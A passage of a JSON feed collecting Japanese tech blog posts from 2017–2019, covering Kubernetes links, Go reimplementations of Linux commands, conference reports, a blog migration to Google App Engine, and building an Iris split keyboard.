管理サービスも提供しているようです。(Rancher みたいなもの？)Azure NetApp Files documentation | Microsoft DocsAzure SentinelAI を使用した高機能なセキュリティサービス。Azure Sentinel | Microsoft Azureその他Azure DevOpsAzure PiplineApp ServiceService FabricWSL2感想Azureに関連したテーマのセッションがほとんどでした。クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。AKS、AzureADの動向は今後も注目していこうと思います。LT資料社内勉強会で de:code の recap を発表しました。 Recap of de code 2019 from Kyohei Mizumoto www.slideshare.netおまけ2日間のお昼のお弁当です。1日目2日目","link":"https://kyohmizu.hatenablog.com/entry/2019/06/06/111805","isoDate":"2019-06-06T02:18:05.000Z","dateMiliSeconds":1559787485000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Kubernetesリンク集","contentSnippet":"Kubernetes関連の役立つリンクを記載します。公式リファレンスReference - KubernetesKubectl Reference DocsPhippy and Friends - Cloud Native Computing FoundationGitHubGitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and ManagementGitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.GitHub - jamiehannaford/what-happens-when-k8s: \uD83E\uDD14 What happens when I type kubectl run?プロダクトGoogle Kubernetes Engine documentation \xa0|\xa0 Kubernetes Engine \xa0|\xa0 Google CloudAzure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft DocsWhat Is Amazon EKS? - Amazon EKSDocumentation | Rancher LabsK3s: Kightweight KubernetesPivotal Container Service (PKS) | Pivotalスライド、ブログ等Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker DeckKubernetes Patterns : Capacity PlanningKubeWeekly - QiitaKubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ書籍Kubernetes完全ガイド - インプレスブックス","link":"https://kyohmizu.hatenablog.com/entry/2019/05/28/115504","isoDate":"2019-05-28T02:55:04.000Z","dateMiliSeconds":1559012104000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"【20日チャレンジ】LinuxコマンドをGoで実装","contentSnippet":"Go言語の学習のため、LinuxコマンドをGoで実装します。\\r目的\\r\\rGo言語に慣れる\\r標準パッケージの機能、使い方を知る\\r\\rルール\\r以下のルールでチャレンジを行います。\\r\\r1日1コマンドを実装する\\r最低限、コマンドの基本的な動作(オプションなしの実行など)を行えるようにする\\r余裕があれば追加機能を実装する\\rコマンド名は\\"my\\" + \\"Linuxコマンド名\\"とする\\r極力標準パッケージを使用する\\r\\rソースコード\\rソースコードはGithubで管理します。\\rhttps://github.com/kyohmizu/go-cli-tools\\rスケジュール\\r\\r\\r\\rNo\\r日付\\rコマンド\\r基本実装\\rオプション\\r学習内容\\r\\r\\r1\\r5/23\\rmyls\\r〇\\r\xa0\\r\\rディレクトリ操作\\rエラー処理\xa0\\r\\r\\r\\r2\\r5/24\\rmycp\\r〇\\r△\\rファイル操作\\r\\r\\r3\\r5/25\\rmymv\\r〇\\r△\\r\xa0\\r\\r\\r4\\r5/26\\rmyrm\\r〇\\r△\\r\xa0\\r\\r\\r5\\r5/27\\rmycat\\r〇\\r△\\r\xa0\\r\\r\\r6\\r5/28\\rmycurl\\r〇\\r△\\r\\rhttp接続の実装\\rオプションの複数回指定\\r\\r\\r\\r7\\r5/29\\rmypwd\\r〇\\r△\\r\xa0OSによる条件分岐\\r\\r\\r8\\r5/30\\rmytouch\\r〇\\r△\\rbuild tagの設定\xa0\\r\\r\\r9\\r5/31\\rmymkdir\\r〇\\r△\\r\xa0ファイルの操作権限\\r\\r\\r10\\r6/1\\rmykill\\r〇\\r〇\\rプロセスとシグナル\xa0\\r\\r\\r11\\r6/2\\rmyecho\\r〇\\r-\\r引数の取得\\r\\r\\r12\\r6/3\\rmytime\\r△\\r-\\r\\rコマンド実行\\rtimeの操作\\r\\r\\r\\r13\\r6/4\\rmychmod\\r△\\r-\\r\\rbit演算\\rファイルの権限\\r\\r\\r\\r14\\r6/5\\rmyyes\\r〇\\r〇\\r\xa0\\r\\r\\r15\\r6/6\\rmyenv\\r〇\\r△\\r\\rwindowsで確認不可\\r\\r\\r\\r16\\r6/7\\rmychown\\r〇\\r△\\r\\ruser,group操作\\rwindowsで確認不可\\r\\r\\r\\r17\\r6/8\\rmygrep\\r〇\\r△\\r\\rgrepの操作\\rgoの正規表現\\r\\r\\r\\r18\\r6/9\\rmysleep\\r〇\\r△\\r\xa0\\r\\r\\r19\\r6/10\\rmymkdir\\r〇\\r△\\r\xa0\\r\\r\\r20\\r6/11\\rmyln\\r〇\\r△\\rリンクの操作\\r\\r\\r\\r\xa0\\r成果\\r\\rGoの構文や記法に慣れてきた\\rGo標準パッケージの使い方、調べ方を覚えた\\rLinuxコマンドの動作を知ることができた\xa0\\r\\r感想\\r20日も書けば、ある程度書けるようになることがわかりました。\\r普段使用するC#とGoが似ている点も覚えやすかったのだと思います。\\r次はGoでAPIを作成してみようと考えています。","link":"https://kyohmizu.hatenablog.com/entry/2019/05/23/172119","isoDate":"2019-05-23T08:21:19.000Z","dateMiliSeconds":1558599679000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Istioが作るサービスメッシュ~サンプルアプリのデプロイ~","contentSnippet":"サンプルアプリ題材: BookInfo アプリケーション※ 事前にIstioをKubernetesにデプロイしておいてください．構成サンプルアプリのデプロイistio-1.0.6 dire…","link":"https://qiita.com/tozastation/items/1f3c3f213b42e1689406","isoDate":"2019-03-14T05:18:21.000Z","dateMiliSeconds":1552540701000,"authorName":"tozastation","authorId":"tozastation"},{"title":"2018年振り返りと、2019年の目標","contentSnippet":"2018年5月末から、エンジニアリングに関する様々な活動を行ってきました。\\r1年の終わりにそれらの活動をまとめ、2019年の目標を記したいと思います。\\r\\r2018年の活動\\r2018年は積極的に新しい技術へチャレンジし、勉強会を通して素晴らしい方々に出会うことができました。\\r新たに触れた技術・ツール\\r\\rGitHub\\rNode.js\\rAngular\\rGolang\\rCentOS\\rDocker\\rKubernetes\\rAzure\\rGCP\\rOWASP ZAP\\rLINE BOT/Clova\\rAgile\\rペアプログラミング/モブプログラミング\\r\\r勉強会・カンファレンス\\r\\rLINE Developer Meetup\\rde:code 2018\\rAzureもくもく会\\rng-japan 2018\\rSQL Server 2017勉強会\\rInteract 2018\\rCCSE 2018\\rThink Japan IBM Code Day\\rJXUG Xamarinハンズオン\\rCosmos DBハンズオン\\rくじらや Dockerハンズオン\\rLINE Clovaスキル開発ハンズオン\\rLINE BOOT AWARDS 2018 ハッカソン\\rGDG DevFest Tokyo 2018\\rXP祭り\\rAzureML勉強会\\rBIT VALLEY 2018\\r.NET Conf 2018\\rContainer SIG Meet-up\\rテスト管理を語る夕べ\\rAVTOKYO\\rアジャイル相談室\\rOSSセキュリティ技術の会\\rJapan Container Days\\r\\r※Japan Container Daysはスタッフとして参加させてもらいました。\\r書籍\\r読了\\r\\r徹底攻略 データベーススペシャリスト教科書\\r徹底攻略 ネットワークスペシャリスト教科書\\rショートコードプログラミング 第3版\\r新装版 達人プログラマー\\rSQLアンチパターン\\rインフラエンジニアの教科書2\\rプログラマのためのDocker教科書 第2版\\rDocker/Kubernetes 実践コンテナ開発入門\\r\\r読みかけ\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\r\\r社内の活動\\r\\r技術交流、コミュニケーション促進のためチャンネルを開設\\r社内勉強会を主催\\rモブプログラミング・ペアプログラミングを開始\\r\\r資格\\r合格\\r\\rデータベーススペシャリスト\\r\\r不合格\\r\\rネットワークスペシャリスト\\r\\r午後Ⅰが1点足りず…\\rその他\\r\\rはてなブログを開設\\rQiitaアドベントカレンダーに参加\\r\\r2019年の目標\\r7ヶ月間の活動の中で、様々な技術分野にチャレンジした結果、インフラ・セキュリティへの関心が強いことがわかりました。\\r2019年はContainerを中心にインフラのスキルを身に着け、セキュリティ分野の知見を広めていきます。\\r書籍\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\rKubernetes完全ガイド\\rハッカーの学校\\rテスト駆動開発\\r徹底マスター JavaScriptの教科書\\rドメイン駆動設計\\rハッキング・ラボのつくりかた\\r\\r資格\\r\\rLPIC Level1\\r情報処理安全確保支援士\\rネットワークスペシャリスト","link":"https://kyohmizu.hatenablog.com/entry/2018/12/31/231740","isoDate":"2018-12-31T14:17:40.000Z","dateMiliSeconds":1546265860000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"モバイルファクトリーのインフラアーキテクチャというアドベントカレンダー書いてました","contentSnippet":"ちょっと過去の話ですが、会社の技術ブログで書いてました。tech.mobilefactory.jp","link":"https://blog.masasuzu.net/entry/2018/12/22/000000","isoDate":"2018-12-21T15:00:00.000Z","dateMiliSeconds":1545404400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"kubernetesにあるIngress Controller�の一覧を挙げてみる","contentSnippet":"はじめにIngress ControllerはL7 Load Balancerの機能を果たすものであり、Ingressリソースはそのルールを定義したものです。このIngress Controlle…","link":"https://qiita.com/skikkh/items/c59de1f5e188d0bbeb35","isoDate":"2018-12-17T14:21:33.000Z","dateMiliSeconds":1545056493000,"authorName":"skikkh","authorId":"skikkh"},{"title":"日本語でvimのfを使う","contentSnippet":"fvimではf, F, t, Tを使うことで、瞬時に目的の文字上にカーソルを移動することができます。動作faでカーソルから右側の方向の１番近い「a」の位置に移動することができます。3faでカ…","link":"https://qiita.com/atsuya0/items/d90bb3f4b8e538c028a9","isoDate":"2018-12-04T06:03:39.000Z","dateMiliSeconds":1543903419000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[Docker] awslogs-datetime-format の指定方法に注意","contentSnippet":"[Docker] awslogs-datetime-format の指定方法に注意背景Dockerの awslogs ログドライバでは，awslogs-datetime-format オプション…","link":"https://qiita.com/toshikish/items/59a3a4426930e29f0673","isoDate":"2018-11-07T03:23:50.000Z","dateMiliSeconds":1541561030000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ローカル環境でAnsibleの鍵交換がめんどくさい貴方に送るプラクティス","contentSnippet":"はじめに平成の時分も終わりに近づく中、野分立ち尽くす天災に人々は翻弄され、お家で過ごすのを余儀なくされる日が多いように思います。^1今日のような一日は、自然とQiitaにたどり着き、PVが増…","link":"https://qiita.com/skikkh/items/ca236c512d314691b35c","isoDate":"2018-09-30T09:33:37.000Z","dateMiliSeconds":1538300017000,"authorName":"skikkh","authorId":"skikkh"},{"title":"builderscon2018もやっぱり最高だった","contentSnippet":"いやー、今回のbuildersconも楽しかったですね〜！さっそくですが、今回のbuidlersconでもたくさんの刺激をいただけたので、その感想などをとりとめなく書き留めておきます。カンファレンスに思うこと今回のbuildersconについてあれこれ書く前に3年くらいこの手のカンファレンスに参加してきて感じていることについて少し。・ 失敗体験、そこから得た学び・ 苦悩したプロセス・ 検証における自分なりの答えみたいなのが特におもしろいと思っている。個人的によかったセッション前夜祭、本編含めどのセッションもとても楽しませていただきましたが、その中でも個人的によかったと思うものをいくつか紹介します。[知らなかった、時に困るWebサービスのセキュリティ対策]こちらはGMOペパボ株式会社 @tnmtさんのセッションです。siteslide何がよかったって、会社で起こった不正アクセスの情報漏えいについて誠実に内容を発表されてたことですよね。[つらくないマルチテナンシーを求めて: 全て見せます！ SmartHR データベース移行プロジェクトの裏側]こちらは株式会社SmartHR @purintaiさんのセッションです。siteslideSmartHRのエンジニアの方と話す機会があって、その時にもマルチテナントで苦労している、というお話を聞いたことがあってその全貌が聞けるというので楽しみにしていました。[なぜ私はキーボードを作るのか]こちらもGMOペパボ株式会社の方で@j_o_lantern0422さんのセッションです。siteslide私も自キ勢なのでセッションが楽しみと言うより他社の自キ勢の方と知り合えたのがよかったです。全体を通しての感想テーマの一つとして「ギーク達のお祭り」となっているので、やっぱり濃い内容のセッションが多くて、刺激と知見が得られるのは本当レベル高い。よかったことアフターパーティーでのことなんですが、懇親会でメンターとかマネジメントとか評価とかの他社の話が聞けて最高すぎたしそういうセッションを聞きたい人がビルコンに来る層にわりと居そうだなと思ったので何かバリューを出せるようにやっていくかーという決意表明— jigyakkuma (@jigyakkuma_) September 7, 2018ということがあって、@shiba_yu36さんと互いの会社において包み隠さず濃い意見交換できたのがめちゃくちゃありがたかったです。スタッフへのフィードバック牧さんがスタッフに対してもフィードバックほしい！と渇望されていたので書きます。強い人にベストトークの票が偏りがち問題は新人賞(初めてbuildersconで登壇した人の最多得票)みたいな枠でも設けたらいいのでは、というアイディアメインホール入口に受付があるのでどうしても混雑しがち(構造上しゃーないとも思う)ノベルティの水は置いてたら喉乾いた人が適当に飲むから常設しておいてほしかった(最後に無理やり渡すのはスポンサーにも失礼な感じがした)各部屋のキャパシティが限界を越えてて観たいセッションが見れないというのがいくつかあったので次はもう少し規模を大きくしてパシフィコとかでやるんだろうなーという期待個人的には前回あったオサレな朝食はよかったので今回なくなったのは寂しかった(諸事情でなくなったんだろうということで理解はしてる)とはいえ、全体を通してみたときの満足度や快適度はかなり高かったと思う(悪いところを拾い上げればキリがないし)こんな感じでしょうか。最後に最近、感情をなくして仕事をただただこなすマンになってて元気がなかったんですが、いろんな方とお話しさせていただいたりセッションを聞いてたくさん力をもらえたような気がします。こういったカンファレンスが開催できるコミュニティを今後も大事にしていくべきなんだろうなーと思い、これからも微力ながらサポーターとして応援します！","link":"https://blog.jigyakkuma.org/2018/09/08/builderscon2018/","isoDate":"2018-09-08T04:02:26.000Z","dateMiliSeconds":1536379346000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"新人が学ぶAnsibleもくもく会 ネットワーク編 報告会","contentSnippet":"はじめにお久しぶりのエントリになります。新卒でインフラエンジニアをしている小心者のひよこです。このような職種に身をおいてはや5ヶ月というところで、世の中を幅広く見渡してみると、どうやら世は大…","link":"https://qiita.com/skikkh/items/156c677e07ffc6b5b4ef","isoDate":"2018-08-29T14:34:09.000Z","dateMiliSeconds":1535553249000,"authorName":"skikkh","authorId":"skikkh"},{"title":"[Laravel] バリデーションデータに前処理したい","contentSnippet":"[Laravel] バリデーションデータに前処理したい当てはまるケースフォーム入力データとデータベース保存データの形式が違う．例えば…全角・半角変換先頭・末尾の空白を取り除くユーザーには0…","link":"https://qiita.com/toshikish/items/f38b691adbebd7ba7720","isoDate":"2018-06-12T09:27:45.000Z","dateMiliSeconds":1528795665000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Git リポジトリを分割する","contentSnippet":"以下のようなディレクトリ構造のリポジトリを分割する方法を場合分けしてまとめます。repo1/ ├─ subdir/ ├─ aaa ├─ bbb ├─ ccc └─ dddケース1：サブディレクト…","link":"https://qiita.com/toshikish/items/3529f75c511a65723798","isoDate":"2018-04-11T10:14:22.000Z","dateMiliSeconds":1523441662000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ブログを GCS Hosting から GAE に移行して https 化","contentSnippet":"blogをhttpsにするといって幾星霜— jigyakkuma (@jigyakkuma_) March 4, 2018ということで重い腰を上げて取り掛かることにしました。腰が重かった理由がいくつかありまして、ブログはHUGOで generate してるので静的コンテンツが配信できればいいGCS が https 化してくれるのを待っていた静的コンテンツの配信に GAE はなーという想いなどがあって目をそむけ続けてましたが、https に切り替えないとダメだーというギリギリのタイミングでやるとろくなことがない気がしたのでやることにしました。GAE で SSL をマネージドしてくれるようになったのでそれを使うことにします。移行前の準備まずは GAE で動いているものがないので移行して動くことを確認できる環境を作ります。goappを使ってローカル環境で動作確認が行えるようCloud SDK for Goを入れておきます。goaap serveでローカルでサーバが立ち上がるので localhost:8080 でブラウザから確認できます。ひとつ注意点としては hugo 自体は build されないので、記事を書いてコンテンツの内容を確認するのであればhugo server -wを使うのがよいです。goapp はあくまでも GAE として動作するかの確認に使います。移行作業GAE への移行作業自体はこちらのブログでわかりやすく解説されているので参考にしました。secure: alwaysですが、SSL 証明書の適用は GCP のコンソールより GAE →設定を開いてカスタムドメインの追加をしておく必要があります。デプロイデプロイは今までどおり CircleCIで行うのですが、ローカルでデプロイできるのを確認してから CircleCI の config.yml を書くことにします。Cloud SDKを入れて、以下の command で対象プロジェクトを設定しておきます。gcloud config set project [GCP project ID]その後はデプロイは該当プロジェクトのディレクトリに移動してgcloud app deployを叩くだけでデプロイできます。デプロイできるのを確認できたら、ブログの repository においてある.circleci/config.yml を差し替えます。ひとつポイントをあげるとすると、GAE はバージョンを指定しないとバージョンごとにインスタンスを作ってくれるのですが、ブログの運用くらいだとオーバースペックなので(前バージョンに戻す必要はないので)デプロイ時にオプションでバージョン固定にしています。最後にここまでくれば作業は完了です。あとは今まで同様、markdown で記事を書いて commit すればブログが更新されます。めでたしめでたし。","link":"https://blog.jigyakkuma.org/2018/03/09/gcs-to-gae/","isoDate":"2018-03-08T23:30:37.000Z","dateMiliSeconds":1520551837000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Okinawa 2018 ONNASON に参加できて最高だった話","contentSnippet":"はいさーい！みなさんお元気ですか？YAPC::Okinawa 2018 ONNASON を堪能して帰路の途中です。約 6 年ほど前に今の会社に転職してからいろいろなカンファレンスに参加させていただきましたが、飛行機に乗るようなカンファレンスに行けるとは思ってもいなかったので今回は本当にうれしい経験となりました。JPA主催になってからの YAPC は初めてだったのですが、スタッフの方々も参加者も暖かみのある雰囲気があって「あー！これこれ！！」となり、やっぱりこの界隈のコミュニティが好きだなと再認識できました。謝辞スタッフの皆さま、運営ありがとうございました。前夜祭では登壇を含めいろいろお世話になり感謝でございます。次は場所を提供いただきました沖縄科学技術大学院大学(OIST)です。今回講堂をメインホールとしてお借りしましたが、椅子の座り心地、各席のコンセント配備や使いやすいテーブルなど非常に快適に聴講することができました。沖縄科学技術大学院大学、自然に囲まれたこの広いキャンパスで学べるの、最高の環境ぽい pic.twitter.com/6a681jtQmi— jigyakkuma (@jigyakkuma_) March 3, 2018　(当日はどしゃ降りだったのが悔やまれますが大自然の中にあるキャンパスは想像以上に居心地がよかったです)あと、今回は会社の手厚いサポートにより参加することができましたのでこの場で紹介いたします。スポンサーいただいた企業様のおかげで素晴らしいカンファレンスが開催できたことに感謝いたします。雑感やっぱり地方開催は最高！というのが感想の 9 割でした。懇親会では「関東のカンファレンスには興味があるけど中々行けない」「転職を考えたときにもオフィス訪問ができないのがネック」というよく聞く話が出てきて地方のカンファレンスに初めて参加して大変さがよくわかった。のと同時にだからこそ地方で開催することの意味はあるというのも伝わりました。YAPC::Okinawa 2018YAPC は 2015 以来の参加で、その時はいろんなジャンルの技術カンファレンスという感じだったのですが、地方開催になってからは Perl 色が強くなり(というか Perl のカンファレンスなのでそれが当たり前っちゃ当たり前なんですが)、Perl というプログラミング言語が育んできたコミュニティのよさ、というのを肌で感じました。今は仕事で Perl を書いているというのもあって、Perl ネタのトークは刺激や発見があって Perl を書いてると YAPC が数倍おもしろくなるな(これも当たり前ですが)というのも目の当たりにしました。2018 年春の Perl@karupaneruraさんの Perl 最新情報についての話。定期的に開催しているカンファレンスだからこそ出来る Perl の最新情報が得られるというトークは私のような情報収集をサボりがちな人間には非常にありがたいです。＠ INC まわりは最近ハマったというのもあってなるほどな〜となりました。スライドInline モジュールの世界@moznionさんの Inline モジュールを採用してしまったプロジェクトを供養させるためのトーク。仕事で使うと地獄をみるという知見が得られて有益でした。スライドPerl コーディングテクニック 2018@akiymさんの Perl をコーディングするときのあれこれ。use Strict や Validator などコードを書くときによく出てくるあれこれの話が聞けたのがよかったです。Perl は TMTOWTDI の精神なので好きに書くのがよいというのと好きに書けますというのが独特の文化だなぁというのがよくわかりました。ブログ前夜祭前夜祭では「A Spacemacs Journey -果てしないエディタの旅-」 というタイトルでトークさせていただきましたが、ところどころ検証が足りていなくて発表に間に合っていなかったのと、スライドみながら話そうと思ったらディスプレイの配置が遠かったのとスピーカーモードにしたら手元がめっちゃ小さい表示でスライドが見えず勢いだけの微妙な内容になってしまっていて申し訳なかったということで猛省しております。LTこれが隣の席に座ってる若手エンジニアに「せっかくYAPC::Okinawaに行くならLTもどう？」と声かけたら二つ返事で応募してて最高かよってなった— jigyakkuma (@jigyakkuma_) February 28, 2018こうよ！！！ベストLTは @_serinuntius さんです！ pic.twitter.com/fs4tGtwXQc— yapcjapan (@yapcjapan) March 3, 2018この若者はワシが育てた(ｷﾘｯと言いたいところですが、「カンファレンスで LT したいと思ってたんですよ」「LT の勘所はなんとなく掴んでたのでウケてよかったです」など新人とは思えない返答だったので、そんなこといいながらベスト LT 賞を取っちゃう最近の若者はほんとスゲぇ。最後にサーバサイドのエンジニアをやり始めて数ヶ月とはいえ、プロトコル、Perl のこと、ミドルウェア、運用など知らないことがまだまだたくさんあるというのを痛感するし、仕事でもインターネットでも今以上に貢献したいと思っているので、ベースのスキルを身に着けながらみんなが聴きたくなるような話ができるよう得意分野をみつけようと思いました。おまけ今回、YAPC::Okinawa の翌日に帰ったのですが、14 時の便にしたら思いの外、ゆっくりする時間がなくてお土産を散策して終わってしまったのがもったいなかったので、また YAPC::Okinawa を開催してもらってまた沖縄に遊びにいきたいです！！","link":"https://blog.jigyakkuma.org/2018/03/04/yapc-okinawa2018/","isoDate":"2018-03-04T04:46:17.000Z","dateMiliSeconds":1520138777000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Okinawa 2018 前夜祭で Spacemacs の話をします(予告編)","contentSnippet":"皆さまいかがお過ごしでしょうか。2018/3/3(土)に開催されるYAPC::Okinawa 2018 ONNASONに先立ち、恒例の前夜祭でトークさせていただく運びとなりました！わいわいPerl について話せることがないながらも YAPC で登壇させていただく機会をいただいて人生が変わってと言っても過言ではないくらいお世話になっているカンファレンスなんですが、今回はちょっと Perl の話ができそうでとても楽しみです。応募したトークは「A Spacemacs Journey - 果てしないエディタの旅 -」ということで愛用している Spacemacs で Perl を書くにはどうするのがいいのかという内容で、残念ながら本編からは漏れてしまったのですが前夜祭でのトークはいかがでしょうかと運営スタッフの方からお声がけいただいたので 2 つ返事をして沖縄行きが決定しました。決まってからすぐに発表スライドを作り始めたのですが、「せっかくなので Spacemacs のよさを知ってほしい」と思いながら書き始めたら機能紹介の羅列みたいになってしまって社内からのフィードバックでも「Spacemacs ならではの話をしたほうがいい」「体験談や思っていることを参加者は聞きたいはず」など、カンファレンスでトークすることの意義を見失うところでした。その結果、機能紹介は完全に切り出してトーク前の資料とすることにしました。　ちなみにですが、この資料は補足となるので、ここに書いてある内容にはほとんど触れない予定です！それでは前夜祭でお会いしましょう！！！！","link":"https://blog.jigyakkuma.org/2018/03/02/yapc-okinawa-pre/","isoDate":"2018-03-02T02:44:58.000Z","dateMiliSeconds":1519958698000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Iris で自作キーボードを作った(組立編)","contentSnippet":"前回は準備編として自作キーボードの検討や購入について触れました。組み立ての前に部品が揃ったらさっそく組み立てたいところですが、その前に組み立ての流れを整理してきましょう。PCB にスイッチダイオードや抵抗、リセット用スイッチや TRRS Jack をはんだ付けするトッププレートにキースイッチをしっかりはめるキースイッチと PCB をはんだ付けするPro Micro をはんだ付けするファームを焼いて動作確認LED を取り付けるトッププレートとボトムプレートをネジとスペーサーで止めるキートップを取り付ける手順にすると多いですが、電子工作をしたことがある方であれば 1 日あればだいたい終わります。Build Guideに沿って進めていくのがよいです。英文ですが読めば欲しい情報が書いてあったりします。しかし、読むとわかるのですが Iris のマニュアルは途中までしか書かれていないので注意が必要です。はんだ付けはんだ付け自体はそう難しくないのですが、知識が乏しくて悩んだところがありました。スイッチダイオードと抵抗の取り付け方向スイッチダイオードは極性があるので取り付ける方向を間違えると正しく動作しなくなります。で、Iris はというと、左右関係なく黒いラインが下にくるように配置してはんだ付けすればよいです。はんだ付けの注意点はんだ付け自体はそう難しくないのですが、1 点注意するとすれば極力高さを出さないということでしょうか。部品を浮かせないはんだを必要以上に盛らないを心がけてください。2 点で止めるダイオードやキースイッチはまだ修正できますが、Pro Micro は浮いたままはんだ付けしてしまうと取り返しがつかなくなってしまいます。浮いてないか何度も確認しながら慎重にはんだ付けするのが失敗をしないコツでした。キースイッチとプレートの関係最初、PCB とプレートをどのように固定するのかというのがいろいろ調べてみても情報が出てこなくてだいぶ困りました。LED テープライトの取り付けこれは Iris の Build Guide に書かれておらず、Iris を組み立てた方々の blog を漁りましたが、うまくいかず割と苦労しました。Nyquistの Build Guide を眺めていたらビンゴでした。master 側の RGB から信号を出力master 側の Extra Data から RGB の信号を出力Slave 側は Extra Data からの RGB 信号を入力とすると配線する必要があったようです。Tips細々としたメモ:浮きがなければスペーサーはギリギリ 9mm でもいけそうボトムプレートは接地面にネジが出てしまうのでゴム足があるとよいキートップのホームポジションがわからないのでエポキシ系接着剤を少量たらしたらいい感じにわかりやすくなったボディをアクリルにするならカラー入りのクリアなタイプがかっこいい最後にIris を使ってみた感想としては親指シフトは慣れてくれば指の移動が減ってよい格子配列は指が困惑しがち内側のキーは少し押しにくいのでスタビライザーをつけて 1 キーにしてしまってもよいかも60%はちょうどよかったというところでした。まだ慣れていないところもありますが概ね満足しているのと、キーボード作るの面白いので、またよさげな PCB みつけたら作ろうかなと画策しています。それでは皆さまもよい自作キーボードライフをお過ごしください！","link":"https://blog.jigyakkuma.org/2018/02/12/iris-build/","isoDate":"2018-02-12T00:30:03.000Z","dateMiliSeconds":1518395403000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Iris で自作キーボードを作った(準備編)","contentSnippet":"素晴らしい世の中になったもので、キーボードも楽に自作できる時代が来ましたね。自作キーボードの検討まずは何を作るのか、というのを決めるところからですよね。・ キー数が少なすぎるのはあまり好みではないこれらの条件だと一番情報量の多い Let’s Split は候補から外れてしまいました。40%キーはさすがにレイヤーのスイッチングが多すぎて実用するのがしんどそう、というところが本音でした。Irisという PCB がみつかり、要件が揃ってそうだったので、こちらで作ってみることにしました。パーツの購入次は必要な部品の購入です。今回は・ お気に入りの MX Cherry Black 相当のキースイッチにしたいというオーダーで揃えました。名称価格購入先備考Iris PCB(Rev 2.1a)\xa52,749keeb.ioKey Switch(Getoron Black)\xa51,848keeb.io多めに購入Micro USB Cable\xa5329keeb.ioPro Micro\xa51,800Amazon左右それぞれに必要なので 2 個購入Key Cap\xa53,456TALP多めに購入アクリルプレート\xa51,800コーナンカット代は含まないスペーサー(M2x10mm)\xa5600Amazonネジ(M2x6mm)\xa51,000Amazon4 極ケーブル\xa5650AmazonLED テープライト(WS2818B)\xa51,280Amazon買ったのは 60 個だけど使ったのは 8 個リード線\xa5500Amazonエポキシ系接着剤\xa5500AmazonPro Micro のコネクタ部分の強化用合計\xa516,512金額は市販のメカニカルキーボードと比べてもそう高くはないですね。Iris はキットになっていて、スイッチングダイオードやリセットスイッチ、TRRS Jack なんかもセットになってるので自作キーボードが初めての方も安心ですね。購入での注意すべきポイントわーわー言うほどのポイントはないのですが、ポイントかなと思うところを少し書いておきます。・ 要件を決めておいてまとめて買う(迷いながら買い足しを何回もしてしまってリードタイムがわりとあった)公式の図面に記載があるので参考にするくらいでしょうか。あとは共同購入といったのも見かけるので、そういったのを利用してみるのもいいかもしれないです。組立編でお会いしましょう！","link":"https://blog.jigyakkuma.org/2018/02/11/iris-prep/","isoDate":"2018-02-11T05:50:49.000Z","dateMiliSeconds":1518328249000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"転職をしようとした結果、部署異動した話","contentSnippet":"めっきり寒くなってきましたがいかがお過ごしでしょうか。転職しようと思ったきっかけ遡ること今年の年初、今の会社(とか部署)でもう働きたくないって事案が相次いで重なり、入社してから 5 年も経過してるからここいらで潮時かな…と一人でモヤモヤしながら思い詰めてました。転職活動中の出来事決意してからは自分が今までやってきた仕事にマッチしそうな Web の会社にお話を伺ったり面談をお願いしました。部署異動の検討当時は私が担当する情シス(社内インフラと社内で呼ばれている)はリソースとしては 1.7 人くらいだったのと適任者は社内外でもそうみつからないので、簡単に「部署異動したいです！」とは言えない状況でした。そんな中で部署異動を勧めていただいた時にスッと楽になったのは今でも覚えています。部署異動が決まってから部署異動が決定したものの、リソース問題は残っており色々調整を図っていたところ奇跡が起きました。後任が採用できたのです。現在10月からソーシャルゲーム事業部というところでスマホゲームのサーバサイドエンジニアとして Perl を書いております。振り返り結果として部署異動という選択はよかったです。一緒に働いている人たちは好きなのと今回のモヤモヤの理由は会社を絶対に離れたいということではなかったというのが大きいとは思います。最後に人それぞれいろんな選択があるかと思うので、今の境遇にモヤモヤしてる人の何かの参考になれば幸いです。","link":"https://blog.jigyakkuma.org/2017/12/15/change-jobs-2017/","isoDate":"2017-12-14T23:15:15.000Z","dateMiliSeconds":1513293315000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"華金について真剣に議論して出した答え","contentSnippet":"久しぶりのブログ更新ですが、エンジニアリングとは無縁の話です。私は同僚と華金について真剣に議論する機会があったので、真面目な気持ちで議論してみました。最高の華金にするにはどうすればいいかという議論を真剣にしています pic.twitter.com/oCWRHOESul— jigyakkuma (@jigyakkuma_) June 16, 2017どうすれば最高の華金になるかの議論が白熱してます pic.twitter.com/SfnOwAoSky— jigyakkuma (@jigyakkuma_) June 16, 